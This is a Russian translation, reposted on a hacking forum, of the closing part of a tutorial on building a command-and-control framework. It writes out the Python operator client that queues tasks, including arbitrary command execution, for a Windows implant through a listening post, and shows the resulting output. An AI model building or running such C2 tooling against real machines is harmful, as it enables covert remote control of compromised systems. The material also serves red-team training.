Мы устанавливаем переменную, которая содержит адрес нашего поста прослушивания, и мы объявляем функцию для выполнения HTTP-запроса GET к нашим конечным точкам API. Функция "api_get_request" принимает конечную точку API в качестве аргумента и использует ее для выполнения GET-запроса с помощью библиотеки https://requests.readthedocs.io/en/master/ . Она сохраняет ответ от поста прослушивания в переменной с именем "response_raw". Затем мы анализируем результат как объект JSON и сохраняем его в "response_json". Это то, что мы вернем пользователю. Затем мы начинаем наш раздел для команд и логики CLI. Мы используем библиотеку https://click.palletsprojects.com/en/7.x/ для создания нашего клиента CLI, а синтаксис "@click.group()" используется для группировки команд. Затем мы объявляем функцию "cli", которая будет просто проходить и позволит нам выполнять различные команды на основе ввода, предоставленного пользователем.

Список команд CLI

В следующем блоке кода мы определяем каждую из команд "списка" имплантов, которые состоят из простого запроса GET к посту прослушивания:

Python:
@click.command(name="list-tasks")
def list_tasks():
    """Lists the tasks that are being served to the implant."""
    api_endpoint = "/tasks"
    print("\nHere's the tasks:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="list-results")
def list_results():
    """List the results returned from the implant."""
    api_endpoint = "/results"
    print("\nHere's the results:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="list-history")
def list_history():
    """List the history of tasks and their associated results."""
    api_endpoint = "/history"
    print("\nHere's the tasks history:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()


Общий формат каждой команды списка примерно одинаков. Мы указываем имя команды, которую пользователь будет вводить в командной строке, @click.command(name="list-tasks"), а затем начинаем писать код функции для этой команды. Мы пишем некоторый текст справки, который будет отображаться для команды, если пользователь введет "--help", и объявим, что такое конечная точка API. Наконец, мы распечатываем результаты вызова List API с помощью запроса GET.

Чтобы закрыть этот первоначальный клиент CLI, нам нужно добавить следующее.

Python:
# Add commands to CLI
cli.add_command(list_tasks)
cli.add_command(list_results)
cli.add_command(list_history)

if __name__ == '__main__':
    cli()

Приведенный выше блок кода добавляет список команд в CLI, после чего мы указываем основную функцию. Это все, что нам нужно, чтобы начать тестирование клиента CLI, давайте подготовимся к тест-драйву.

Список команд

Давайте попробуем этот клиент сейчас, запустив пост прослушивания. Вы можете перейти в папку "Skytree", чтобы найти listening_post.pyфайл, а затем запустить команду python listening_post.py. Когда это заработает, запустите имплант. Вы можете перейти в папку "RainDoll" и использовать файл решения Visual Studio для создания нового RainDoll.exe двоичного файла или запустить двоичный файл из предыдущей главы. Когда пост прослушивания и имплант запущены, мы готовы запустить команду list с клиентом CLI, используя следующее:

python fireworks.py list-tasks

Вы должны увидеть следующий ответ:

Here's the tasks:

[]


Вы можете получить справку по каждой из поддерживаемых команд:

python fireworks.py --help

Вы получите обратно:

Usage: fireworks.py [OPTIONS] COMMAND [ARGS]...

Options:
--help Show this message and exit.

Commands:
list-history List the history of tasks and their associated results.
list-results List the results returned from the implant.
list-tasks Lists the tasks that are being served to the implant.


Вы можете запустить любую из команд списка, и вы должны получить 200 OK от поста прослушивания. Пока что этот клиент CLI не очень полезен. Но, по крайней мере, мы знаем, что он может успешно выполнять запросы к API поста прослушивания и получать ответы. Давайте добавим изменяющую команду, которая немного сложнее, реализуя команду "Добавить задачи".

Команда CLI "Add Tasks "

Откройте папку с названием "глава 4-2", и вы найдете в файле следующий обновленный код fireworks.py. Мы пройдемся по каждому блоку кода и попытаемся понять, как работает команда "Добавить задачи":

Python:
import click
import requests
import pprint
import json

# Configuration Settings
listening_post_addr = "http://127.0.0.1:5000"

# Helper functions
def api_get_request(endpoint):
    response_raw = requests.get(listening_post_addr + endpoint).text
    response_json = json.loads(response_raw)
    return response_json

def api_post_request(endpoint, payload):
    response_raw = requests.post(listening_post_addr + endpoint, json=payload).text
    response_json = json.loads(response_raw)
    return response_json

# CLI commands and logic
@click.group()
def cli():
    pass

@click.command(name="list-tasks")
def list_tasks():
    """Lists the tasks that are being served to the implant."""
    api_endpoint = "/tasks"
    print("\nHere's the tasks:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="list-results")
def list_results():
    """List the results returned from the implant."""
    api_endpoint = "/results"
    print("\nHere's the results:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="list-history")
def list_history():
    """List the history of tasks and their associated results."""
    api_endpoint = "/history"
    print("\nHere's the tasks history:\n")
    pprint.pprint(api_get_request(api_endpoint))
    print()

@click.command(name="add-tasks")
@click.option('--tasktype', help='Type of task to submit.')
@click.option('--options', help='Key-value options for task.')
def add_tasks(tasktype, options):
    """Submit tasks to the listening post."""
    api_endpoint = "/tasks"
    print("\nHere are the tasks that were added:\n")

    # Perform options parsing if user provided them to the task
    if options != None:
        task_options_dict = {}
        task_options_pairs = options.split(",")

        # For each key-value pair, add them to a dictionary
        for option in task_options_pairs:
            key_vals = option.split("=")
            key = key_vals[0]
            value = key_vals[1]
            pair = {key:value}
            task_options_dict.update(pair)

        # If more than one option was provided, format and append them into a single string
        if len(task_options_dict) > 1:
            keyval_string = ""
            for key,value in task_options_dict.items():
                keyval_string += f'"{key}":"{value}",'
            request_payload_string = f'[{{"task_type":"{tasktype}",{keyval_string[:-1]}}}]'
            request_payload = json.loads(request_payload_string)
            pprint.pprint(api_post_request(api_endpoint, request_payload))
        # Otherwise, just print the key/value for the single option provided
        else:
            request_payload_string = f'[{{"task_type":"{tasktype}","{key}":"{value}"}}]'
            request_payload = json.loads(request_payload_string)
            pprint.pprint(api_post_request(api_endpoint, request_payload))
    # Otherwise, we just submit a payload with the task type specified
    else:
        request_payload_string = f'[{{"task_type":"{tasktype}"}}]'
        request_payload = json.loads(request_payload_string)
        pprint.pprint(api_post_request(api_endpoint, request_payload))
    print()

# Add commands to CLI
cli.add_command(list_tasks)
cli.add_command(list_results)
cli.add_command(list_history)
cli.add_command(add_tasks)

if __name__ == '__main__':
    cli()

Для команды "Добавить задачи" нам нужно иметь возможность отправлять POST-запросы к посту прослушивания:

Python:
def api_post_request(endpoint, payload):
    response_raw = requests.post(listening_post_addr + endpoint, json=payload).text
    response_json = json.loads(response_raw)
    return response_json

В приведенном выше блоке кода мы определяем еще одну вспомогательную функцию, которая использует библиотеку запросов Python для выполнения запроса POST. Он принимает параметр "конечная точка" и новый параметр "полезной нагрузки", который будет содержать тело нашего запроса JSON. В методе "requests.post" мы указываем параметр "json" как содержащий нашу полезную нагрузку. Затем мы анализируем ответ поста прослушивания в формате JSON и возвращаем его пользователю.

Теперь мы готовы перейти к команде "Добавить задачи" и к тому, как мы создаем тело запроса POST:

Python:
@click.command(name="add-tasks")
@click.option('--tasktype', help='Type of task to submit.')
@click.option('--options', help='Key-value options for task.')
def add_tasks(tasktype, options):
    """Submit tasks to the listening post."""
    api_endpoint = "/tasks"
    print("\nHere are the tasks that were added:\n")

    # Perform options parsing if user provided them to the task
    if options != None:
        task_options_dict = {}
        task_options_pairs = options.split(",")

        # For each key-value pair, add them to a dictionary
        for option in task_options_pairs:
            key_vals = option.split("=")
            key = key_vals[0]
            value = key_vals[1]
            pair = {key:value}
            task_options_dict.update(pair)

        # If more than one option was provided, format and append them into a single string
        if len(task_options_dict) > 1:
            keyval_string = ""
            for key,value in task_options_dict.items():
                keyval_string += f'"{key}":"{value}",'
            request_payload_string = f'[{{"task_type":"{tasktype}",{keyval_string[:-1]}}}]'
            request_payload = json.loads(request_payload_string)
            pprint.pprint(api_post_request(api_endpoint, request_payload))
        # Otherwise, just print the key/value for the single option provided
        else:
            request_payload_string = f'[{{"task_type":"{tasktype}","{key}":"{value}"}}]'
            request_payload = json.loads(request_payload_string)
            pprint.pprint(api_post_request(api_endpoint, request_payload))
    # Otherwise, we just submit a payload with the task type specified
    else:
        request_payload_string = f'[{{"task_type":"{tasktype}"}}]'
        request_payload = json.loads(request_payload_string)
        pprint.pprint(api_post_request(api_endpoint, request_payload))
    print()

Первая часть этого блока кода в основном является шаблонной, похожей на предыдущие команды, которые мы добавили:

Python:
@click.command(name="add-tasks")
@click.option('--tasktype', help='Type of task to submit.')
@click.option('--options', help='Key-value options for task.')
def add_tasks(tasktype, options):
    """Submit tasks to the listening post."""
    api_endpoint = "/tasks"
    print("\nHere are the tasks that were added:\n")

Мы указываем имя команды и параметры, которые мы поддерживаем. В случае добавления задач мы хотим разрешить пользователю выбирать тип задачи и параметры (если есть), которые требуются для этого типа задачи. Мы указываем конечную точку, а затем распечатываем короткое сообщение. Теперь мы можем перейти к основной части кода команды:

Python:
# Perform options parsing if user provided them to the task
if options != None:
    task_options_dict = {}
    task_options_pairs = options.split(",")

    # For each key-value pair, add them to a dictionary
    for option in task_options_pairs:
        key_vals = option.split("=")
        key = key_vals[0]
        value = key_vals[1]
        pair = {key:value}
        task_options_dict.update(pair)

    # If more than one option was provided, format and append them into a single string
    if len(task_options_dict) > 1:
        keyval_string = ""
        for key,value in task_options_dict.items():
            keyval_string += f'"{key}":"{value}",'
        request_payload_string = f'[{{"task_type":"{tasktype}",{keyval_string[:-1]}}}]'
        request_payload = json.loads(request_payload_string)
        pprint.pprint(api_post_request(api_endpoint, request_payload))
    # Otherwise, just print the key/value for the single option provided
    else:
        request_payload_string = f'[{{"task_type":"{tasktype}","{key}":"{value}"}}]'
        request_payload = json.loads(request_payload_string)
        pprint.pprint(api_post_request(api_endpoint, request_payload))

В приведенном выше блоке кода у нас есть условие if, которое проверяет, были ли предоставлены какие-либо параметры для задачи. Если это так, мы объявляем некоторые переменные для хранения словаря параметров задачи, состоящего из ключей и значений, и переменную для разделения пар ключ-значение. Затем у нас есть цикл for, который разбивает каждую пару ключ-значение и добавляет их в словарь параметров задачи в качестве новой записи. Теперь, когда наш словарь параметров задачи полностью заполнен, у нас есть еще одно условие, которое проверяет, есть ли у нас более одного параметра. Если у нас есть несколько опций задачи, нам нужно объединить каждую опцию ключ-значение, а затем добавить эту строку в полезную нагрузку нашего запроса. Затем мы делаем запрос POST и печатаем ответ прослушивающего поста. В противном случае, если у нас есть один вариант задачи, мы можем просто сразу использовать ключ-значение без цикла for и сделать запрос POST.

В случае, если варианты задачи не были предоставлены, имеем следующее:

Python:
# Otherwise, we just submit a payload with the task type specified
else:
    request_payload_string = f'[{{"task_type":"{tasktype}"}}]'
    request_payload = json.loads(request_payload_string)
    pprint.pprint(api_post_request(api_endpoint, request_payload))
    print()

С приведенным выше блоком кода нам не нужно анализировать какие-либо параметры задачи, и мы можем просто сделать запрос POST с типом задачи. Затем мы красиво печатаем ответ поста прослушивания.

Последняя часть, которую необходимо изменить, — это раздел, добавляющий каждую команду в CLI:

# Add commands to CLI
cli.add_command(list_tasks)
cli.add_command(list_results)
cli.add_command(list_history)
cli.add_command(add_tasks)


Как видите, у нас появилась новая строка, в которой указано "add_tasks". С этим последним изменением мы готовы протестировать нашу недавно добавленную команду.

Add Tasks Test Drive

Убедитесь, что прослушивающий пост и имплант работают. Теперь выполните следующую команду, чтобы добавить задачу Ping:

python fireworks.py add-tasks --tasktype ping


Вы должны получить ответ, подобный следующему, если все прошло хорошо:

Here are the tasks that were added:

[{'_id': {'$oid': '5f6ef011363fb42173b13a4e'},
'task_id': '1fcbd838-e800-4da3-9765-b4a15656abb7',
'task_type': 'ping'}]


Вы можете подождать несколько секунд, а затем запустить следующее, чтобы увидеть результаты:

Here's the results:

[{'1fcbd838-e800-4da3-9765-b4a15656abb7': {'contents': 'PONG!',
'success': 'true'},
'_id': {'$oid': '5f6ef025363fb42173b13a50'},
'result_id': '02848048-9179-4b6b-b9b6-3aa7db2e5281'}]


Вы получите обратно:

python fireworks.py add-tasks --tasktype execute --options command="ping google.com"


Давайте попробуем добавить задачу с опцией прямо сейчас. Выполните следующее, чтобы добавить задачу "Выполнение" с помощью команды "ping google.com":

Here are the tasks that were added:

[{'_id': {'$oid': '5f6ef162363fb42173b13a51'},
'command': 'ping google.com',
'task_id': '70492646-6ff1-490a-82de-1d703dfb1bf2',
'task_type': 'execute'}]


Вы получите обратно:

Here are the tasks that were added:

[{'_id': {'$oid': '5f6ef162363fb42173b13a51'},
'command': 'ping google.com',
'task_id': '70492646-6ff1-490a-82de-1d703dfb1bf2',
'task_type': 'execute'}]



Вы можете снова запустить команду List Results, чтобы увидеть следующее:

Here's the results:

[{'1fcbd838-e800-4da3-9765-b4a15656abb7': {'contents': 'PONG!',
'success': 'true'},
'_id': {'$oid': '5f6ef025363fb42173b13a50'},
'result_id': '02848048-9179-4b6b-b9b6-3aa7db2e5281'},
{'70492646-6ff1-490a-82de-1d703dfb1bf2': {'contents': '\n'
'Pinging google.com '
'[172.217.164.206] with '
'32 bytes of data:\n'
'Reply from '
'172.217.164.206: '
'bytes=32 time=3ms '
'TTL=115\n'
'Reply from '
'172.217.164.206: '
'bytes=32 time=3ms '
'TTL=115\n'
'Reply from '
'172.217.164.206: '
'bytes=32 time=3ms '
'TTL=115\n'
'Reply from '
'172.217.164.206: '
'bytes=32 time=3ms '
'TTL=115\n'
'\n'
'Ping statistics for '
'172.217.164.206:\n'
' Packets: Sent = 4, '
'Received = 4, Lost = 0 '
'(0% loss),\n'
'Approximate round trip '
'times in '
'milli-seconds:\n'
' Minimum = 3ms, '
'Maximum = 3ms, Average '
'= 3ms\n',
'success': 'true'},
'_id': {'$oid': '5f6ef169363fb42173b13a53'},
'result_id': '334e866e-d424-4081-a941-d8eda35b0ea5'}]


Вы можете видеть, что результаты проверки связи были успешно заполнены, и мы подтвердили, что наш клиент CLI работает правильно с новой командой "Add Tasks "!

Вывод

Теперь у нас есть более удобный интерфейс, из которого можно отправлять задачи и просматривать результаты, что довольно далеко от вставки команд PowerShell, верно? С этой деталью у нас есть полнофункциональная установка C2 с интерфейсом оператора, постом прослушивания и имплантом. Каждая из частей относительно проста, но это просто дает нам больше возможностей для дальнейшего развития и расширения с помощью более продвинутых компонентов.
 

Заключение

Заключительные замечания и последующие шаги.

Ну вот и все! С нетерпением ждем грядущей "Части 2" с разделами, улучшающими работу, с которой мы начали здесь. Есть много возможностей для добавления таких вещей, как веб-интерфейс для интерфейса оператора, элементы управления аутентификацией на посту прослушивания, возможность удаленного развертывания новых модулей и защита нашего канала связи с помощью шифрования. Мы также должны посмотреть на наш имплантат с точки зрения аналитика защитного/вредоносного ПО и посмотреть, есть ли какие-либо возможности защиты от RE/криминалистики, которые мы можем включить. Но, это будет позже. А пока поздравьте себя с началом работы с надежной основой для разработки имплантов и созданием некоторых компонентов C2.

Это не конец, а возможность продолжать учиться и совершенствоваться. Я надеюсь, что вы будете развивать уникальные навыки, необходимые для создания этого сложного класса наступательных инструментов, и поделитесь своей работой с сообществом. Я с нетерпением жду, чтобы увидеть, что вы будете делать дальше!

Переведено специально для xss.pro
Автор перевода: yashechka
Источник:
https://shogunlab.gitbook.io/building-c2-implants-in-cpp-a-primer/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх